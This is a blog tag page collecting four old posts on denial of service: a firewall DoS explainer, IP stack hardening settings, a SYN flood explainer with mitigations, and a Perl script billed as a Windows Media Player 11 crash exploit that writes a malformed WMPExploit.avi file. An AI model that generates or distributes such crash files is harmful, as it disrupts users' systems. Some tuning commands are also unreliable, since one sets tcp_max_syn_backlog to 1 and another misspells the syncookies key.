'dos'에 해당되는 글 4건

  1. 2011.07.28 Firewall DoS Attacks by CEOinIRVINE
  2. 2011.04.02 Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit by CEOinIRVINE 2
  3. 2008.11.29 General IP Stack Tuning Recommendations by CEOinIRVINE
  4. 2008.11.29 Denial of Service Attacks by CEOinIRVINE

Firewall DoS Attacks

Hacking 2011. 7. 28. 18:09

If an attacker discovers the presence of the Juniper Networks security device, the
attacker might launch a denial of service (DoS) attack against the security device
instead of the network behind it. A successful DoS attack against a firewall amounts
to a successful DoS attack against the protected network in that it thwarts attempts
of legitimate traffic to traverse the firewall. This section explains the two methods
an attacker might use to fill up the session table of a Juniper Networks security
device and thereby produce a DoS: session table flood and SYN-ACK-ACK proxy
flood.

Session Table Flood

A successful DoS attack overwhelms its victim with such a massive barrage of false
traffic that the victim becomes unable to process legitimate connection requests.
DoS attacks can take many forms—SYN flood, SYN-ACK-ACK flood, UDP flood,
ICMP flood, and so on—but they all have the same objective: to fill up their victim’s
session table. When the session table is full, that host cannot create any new
sessions and begins rejecting new connection requests.

Posted by CEOinIRVINE
l
#!/usr/bin/perl
#(+)Exploit Title: Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
#(+)Software  : Windows Media player
#(+)Version   : 11.0.5721.5145
#(+)Tested On : WIN-XP SP3
#(+) Date     : 31.03.2011
#(+) Hour     : 13:37
#Similar Bug was found by cr4wl3r in MediaPlayer Classic

system("color 6");
system("title Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
                                                                   
(+)Exploit Title:  Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
 
       
(+) Software  : Windows Media player
(+) Version   : 11.0.5721.5145                                   
(+) Tested On : WIN-XP SP3                                               
(+) Date      : 31.03.2011                                               
(+) Hour      : 13:37 PM                                                   
____________________________________________________________________\n    ";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nWMPExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
 
open(file, "> WMPExploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open WMPExplot.avi with Windows Media player and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the WMPExploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r\n
(+)^Xecuti0N3r: E-mail : xecuti0n3r@yahoo.com \n
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r \n
########################################################################\n\n";
system("pause");

'Hacking' 카테고리의 다른 글

Firewall DoS Attacks  (0) 2011.07.28
IP Spoofing  (1) 2011.07.28
Antivirus and Security software coupons  (0) 2011.03.26
2011 Malware Trends  (0) 2011.03.26
Top Ten Antivirus 2012  (1) 2011.03.26
Posted by CEOinIRVINE
l

General IP Stack Tuning Recommendations

1. TCP send and receive spaces

The TCP send and receive spaces directly effect the TCP window size parameter. An increased window size will allow for more efficient transfers, particularly bulk transfers such as FTP and HTTP. The default for each is not optimal, and should be increased to 32768 bytes. This value should not be increased above 64K bytes unless the implications of RFC1323 and RFC2018 are fully understood and support for both is enabled.
Do not enable RFC1323 without also enabling support for RFC2018. Remember, pipe drain is a Bad Thing[tm].
A. AIX
/usr/sbin/no -o tcp_sendspace=32768
/usr/sbin/no -o tcp_recvspace=32768
B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_xmit_hiwat 32768
/usr/sbin/ndd -set /dev/tcp tcp_recv_hiwat 32768
C. Tru64 UNIX
No tuning recommendations.
D. HP-UX
The TCP send and receive spaces are set to 32768 by default
E. Linux kernel 2.2

While Linux automagically assigns the TCP send and receive spaces, support for both RFC1323 (large window support, net.ipv4.tcp_window_scaling) and RFC2018 (SACK support, net.ipv4.tcp_sack) are enabled by default.
F. FreeBSD
sysctl -w net.inet.tcp.sendspace=32768
sysctl -w net.inet.tcp.recvspace=32768
G. IRIX
The default settings for IRIX are 64Kbytes for both the TCP send and receive spaces.

2. Socket queue defense against SYN attacks

While great effort is undertaken to defend any network from those with malicious intent, several ports (largely TCP) must remain open to conduct business. Internet vandals may attempt to exploit these ports to launch a denial of service attack. One of the most popular attacks remains the SYN flood, wherein the socket queue of the attacked host is overwhelmed with bogus connection requests. To defend against such attacks, certain UNIX variants maintain separate queues for inbound socket connection requests. One queue is for half-open sockets (SYN received, SYN|ACK sent), the other queue for fully-open sockets awaiting an accept() call from the application. These two queues should be increased so that an attack of low to moderate intensity will have little to no effect on the stability or availability of the server.

A. AIX
/usr/sbin/no -o clean_partial_conns=1
This setting will instruct the kernel to randomly remove half-open sockets from the q0 queue to make room for new sockets.
B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_conn_req_max_q 1024
The q queue holds sockets awaiting an accept() call from the application.
/usr/sbin/ndd -set /dev/tcp tcp_conn_req_max_q0 2
048
The q0 queue contains half-open sockets.
C. Tru64 UNIX
/sbin/sysconfig -r socket sominconn=65535
The value of sominconn determines how many simultaneous incoming SYN packets can be handled by the system.

/sbin/sysconfig -r socket somaxconn=65535
The value of somaxconn sets the maximum number of pending TCP connections.

D. HP-UX
/usr/sbin/ndd -set tcp_syn_rcvd_max 1024
/usr/sbin/ndd -set tcp_conn_request_max 200

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.tcp_max_syn_backlog=1280
Increases the size of the socket queue (effectively, q0).
/sbin/sysctl -w net.ipv4.tcpsyn_cookies=1

Enables support for TCP SYN cookies, which mitigates the effectiveness of SYN floods. However, this may cause performance problems for large windows (see RFC1323 and RFC2018). To read more about SYN cookies, please review DJ Bernstein's paper here.

F. FreeBSD
sysctl -w kern.ipc.somaxconn=1024

G. IRIX
The listen() queue is hardcoded to 32. However, the system actually enforces the limit of pending connections as ((3 * backlog) / 2) + 1. This yields a maximum backlog of 49 connections.

3. Redirects

A miscreant can use IP redirects to modify the routing table on a remote host. In a well-designed network, redirects to the end stations should not be required. Both the sending and accepting of redirects should be disabled.

A. AIX
/usr/sbin/no -o ipignoreredirects=1
/usr/sbin/no -o ipsendredirects=0

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_ignore_redirect 1
/usr/sbin/ndd -set /dev/ip ip_send_redirects 0

C. Tru64 UNIX
No tuning recommendations.

D. HP-UX
/usr/sbin/ndd -set /dev/ip ip_send_redirects 0

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.conf.all.send_redirects=0
/sbin/sysctl -w net.ipv4.conf.all.accept_redirects=0

F. FreeBSD
sysctl -w net.inet.icmp.drop_redirect=1
sysctl -w net.inet.icmp.log_redirect=1
sysctl -w net.inet.ip.redirect=0
sysctl -w net.inet6.ip6.redirect=0

G. IRIX

/usr/sbin/systune icmp_dropredirects to 1

4. ARP cleanup

It is possible for a miscreant to create a resource exhaustion or performance degredation by filling the IP route cache with bogus ARP entries. In Solaris, there are two parameters that govern the cleanup interval for the IP route cache. For unsolicited ARP responses, the parameter to be tuned is arp_cleanup_interval. In AIX, the cleanup interval is governed by the value of arpt_killc. However, this parameter governs both solicited and unsolicited ARP entries. For this reason, it is likely best to leave the parameter at the default setting of 20 minutes.

A. AIX
/usr/sbin/no -o arpt_killc=20

B. Solaris
/usr/sbin/ndd -set /dev/arp arp_cleanup_interval 60000

C. Tru64 UNIX
No tuning recommendations.

D. HP-UX
By default set to five minutes.

E. Linux kernel 2.2
No tuning recommendations.

F. FreeBSD
sysctl -w net.link.ether.inet.max_age=1200

G. IRIX
No tuning recommendations.



5. Source routing

With source routing, an attacker can attempt to reach internal IP addresses - including RFC1918 addresses. It is important to disable the acceptance of source routed packets to prevent subtle probes of your internal networks.

A. AIX
/usr/sbin/no -o ipsrcroutesend=0
Disable the sending of source routed packets.
/usr/sbin/no -o ipsrcrouteforward=0
This is important if the box is routing, e.g. a firewall. Disable this feature to prevent the host from forwarding source routed packets.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_forward_src_routed 0
This is important if the box is routing, e.g. a firewall. Disable this feature to prevent the host from forwarding source routed packets.

C. Tru64 UNIX
No tuning recommendations.

D. HP-UX
ndd -set /dev/ip ip_forward_src_routed 0
Disable this feature to prevent the host from forwarding source routed packets.

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0
Drop all source route packets.
/sbin/sysctl -w net.ipv4.conf.all.forwarding=0
/sbin/sysctl -w net.ipv4.conf.all.mc_forwarding=0
Do not forward source routed frames.

F. FreeBSD
sysctl -w net.inet.ip.sourceroute=0
sysctl -w net.inet.ip.accept_sourceroute=0

G. IRIX
/usr/sbin/systune ipforward to 2

6. TIME_WAIT setting

On a busy web server, many sockets may linger in the TIME_WAIT state. This is caused by improperly coded client applications that do not properly shut down a socket. This can also be used as a type of DDoS attack.

A. AIX
No tuning recommendations.

B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_time_wait_interval 60000
This parameter effects the amount of time a TCP socket will remain in the TIME_WAIT state. The default is quite high for a busy web server, so it should be lowered to 60000 milliseconds (60 seconds). The parameter name was corrected in Solaris 7 and higher. Prior to Solaris 7, the parameter was incorrectly labeled as tcp_close_wait_interval.

C. Tru64 UNIX
No tuning recommendations.

D. HP-UX
ndd -set /dev/tcp tcp_time_wait_interval 60000
Sockets will linger in TIME_WAIT state no more than 60 seconds.

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.vs.timeout_timewait=60
Sockets will linger in TIME_WAIT state for no more than 60 seconds.

F. FreeBSD
No tuning recommendations.

G. IRIX
/usr/sbin/systune tcp_2msl to 60



7. Broadcast ECHO response

Smurf attacks work by sending ICMP 8 0 (ECHO REQUEST) messages to a broadcast address from a spoofed address. Some IP stacks will respond, by default, to such messages. This should be disabled. Further, if the host is a firewall (router), it should not propogate directed broadcasts.

A. AIX
/usr/sbin/no -o directed_broadcast=0
Do not respond to directed broadcasts.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_respond_to_echo_broadcast 0
Do not respond to directed broadcasts.
/usr/sbin/ndd -set /dev/ip ip_forward_directed_broadcasts 0
Do not forward directed broadcasts.

C. Tru64 UNIX
No tuning recommendations.

D. HP-UX
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
Do not respond to directed broadcasts.
ndd -set /dev/ip ip_forward_directed_broadcasts 0
Do not forward directed broadcasts.

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
Do not respond to directed broadcasts.

F. FreeBSD
sysctl -w net.inet.icmp.bmcastecho=0

G. IRIX
/usr/sbin/systune allow_brdaddr_srcaddr to 0



8. Other broadcast probes

There are two other broadcast probes that a miscreant could utilize against a network. The address mask query can be used to map out the size of the netblock, and set a range for further probes. The timestamp broadcast is another means of mapping and fingerprinting hosts.

A. AIX
/usr/sbin/no -o icmpaddressmask=0
Prevent address mask queries.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_respond_to_address_mask_broadcast 0
Prevent address mask queries.
/usr/sbin/ndd -set /dev/ip ip_respond_to_timestamp_broadcast 0
Disable timestamp broadcast query response.

C. Tru64 UNIX
No tuning recomendations.

D. HP-UX
ndd -set /dev/ip ip_respond_to_address_mask_broadcast 0
Prevent the host from revealing the configured netmask.
ndd -set /dev/ip ip_respond_to_timestamp_broadcast 0
Disable timestamp broadcast query response.

E. Linux kernel 2.2
No tuning recommendations.

F. FreeBSD
sysctl -w net.inet.icmp.maskrepl=0

G. IRIX
Use ipfilterd to block unwanted ICMP types.



9. Support for RFC1948

This will utilize RFC1948 sequence number generation techniques to ensure that the initial sequence number for a given TCP socket is very difficult to guess. This tactic makes IP spoofing significantly more difficult to accomplish.

B. Solaris
Set TCP_STRONG_ISS=2 in /etc/default/inetinit.
This will require a reboot to take effect.

G. IRIX
/usr/sbin/systune tcpiss_md5 to 1
Posted by CEOinIRVINE
l

Denial of Service Attacks

Hacking 2008. 11. 29. 15:12

Denial of Service Attacks

Webopedia.com describes Denial of Service attacks as:

Short for denial-of-service attack, a type of attack on a network that is designed to bring the network to its knees by flooding it with useless traffic. Many DoS attacks, such as the Ping of Death and Teardrop attacks, exploit limitations in the TCP/IP protocols. For all known DoS attacks, there are software fixes that system administrators can install to limit the damage caused by the attacks. But, like viruses, new DoS attacks are constantly being dreamed up by hackers. www.webopedia.com/TERM/D/DoS_attack.html

A Denial of Service (DoS) attack is any type of attack that renders a service as unavailable for its intended purpose.

One example of a DoS attack is a SYN flood. This attack requests that the web server start a TCP session that it has no intention of ever completing. The client sends a series of SYN packets to the server. A SYN packet is a request to start a TCP session. The server responds with a SYN/ACK packet. This packet acknowledges the client's request to open a session and requests that the client open a session for the host. In a normal TCP connection sequence, the client would send back an ACK to acknowledge the host's request to open its session, as shown in Figure 2.2.

Figure 2.2. Normal three-way TCP handshake session.


In a SYN flood, however, the attacker has no intention of completing the TCP handshake. This is why this attack is often referred to as a half-open connection. Instead, attackers rely on the fact that the server will wait awhile for the client to complete the connection. Because several clients can attempt to connect at the same time, the host needs to be able to wait for each to complete the handshake. Since resources are limited, the pending requests are put in a queue until they are completed. It's the attacker's intent to fill this queue and keep everyone else out of it. Once the queue has been filled, it's a simple matter to keep it filled by sending a limited number of new SYN packets. Figure 2.3 shows the attacker initiating a SYN flood attack.

Figure 2.3. Denial of Service SYN attack.


There are numerous mitigation strategies, which extend beyond the capabilities of the individual host. Network infrastructures should be implemented that have proper mechanisms to address a denial of service attack such as sufficient network bandwidth, redundant Internet circuits, and proper load balancing of traffic. Since many DoS attacks target fundamental protocols (such as TCP-IP) upon which a web server resides, we must address this issue at the network stack level settings of our operating system. There are a few Solaris OS level settings that may be applied to help address some of the effects of a denial of service attack.

tcp_conn_req_max_q0

This option sets the size of the queue containing unestablished connections. This queue is part of a protection mechanism against SYN flood attacks. The queue size default is adequate for most systems but should be increased for busy servers. The default value is 1024. Use the following command to update this setting:

/usr/sbin/ndd –set /dev/tcp tcp_conn_req_max_q0=4096

tcp_conn_req_max_q

This option sets the maximum number of fully established connections. Increasing the size of this queue provides some limited protection against resource consumption attacks. The queue size default is adequate for most systems but should be increased for busy servers. The default value is 128. Use the following command to update this setting:

/usr/sbin/ndd –set /dev/tcp tcp_conn_req_max_q=1024

tcp_time_wait_interval

This parameter effects the amount of time a TCP socket will remain in the TIME_WAIT state. The default is quite high for a busy web server, so it should be lowered to 60,000 milliseconds (60 seconds). Use the following command to update this setting:

/usr/sbin/ndd -set /dev/tcp tcp_time_wait_interval 60000

Linux users can edit the /etc/sysctl.conf file and add the following entries to achieve a similar protection against denial of service attacks:

# echo 4096 >/proc/sys/net/ipv4/tcp_max_syn_backlog
# echo "net.ipv4.tcp_max_syn_backlog = 1" >> /etc/sysctl.conf
# echo 1 > /proc/sys/net/ipv4/tcp_syncookies
# echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

By updating these TCP-IP stack parameters, you can dramatically increase your server's responsiveness to requests and help to reduce the effects of a denial of service attack.

Posted by CEOinIRVINE
l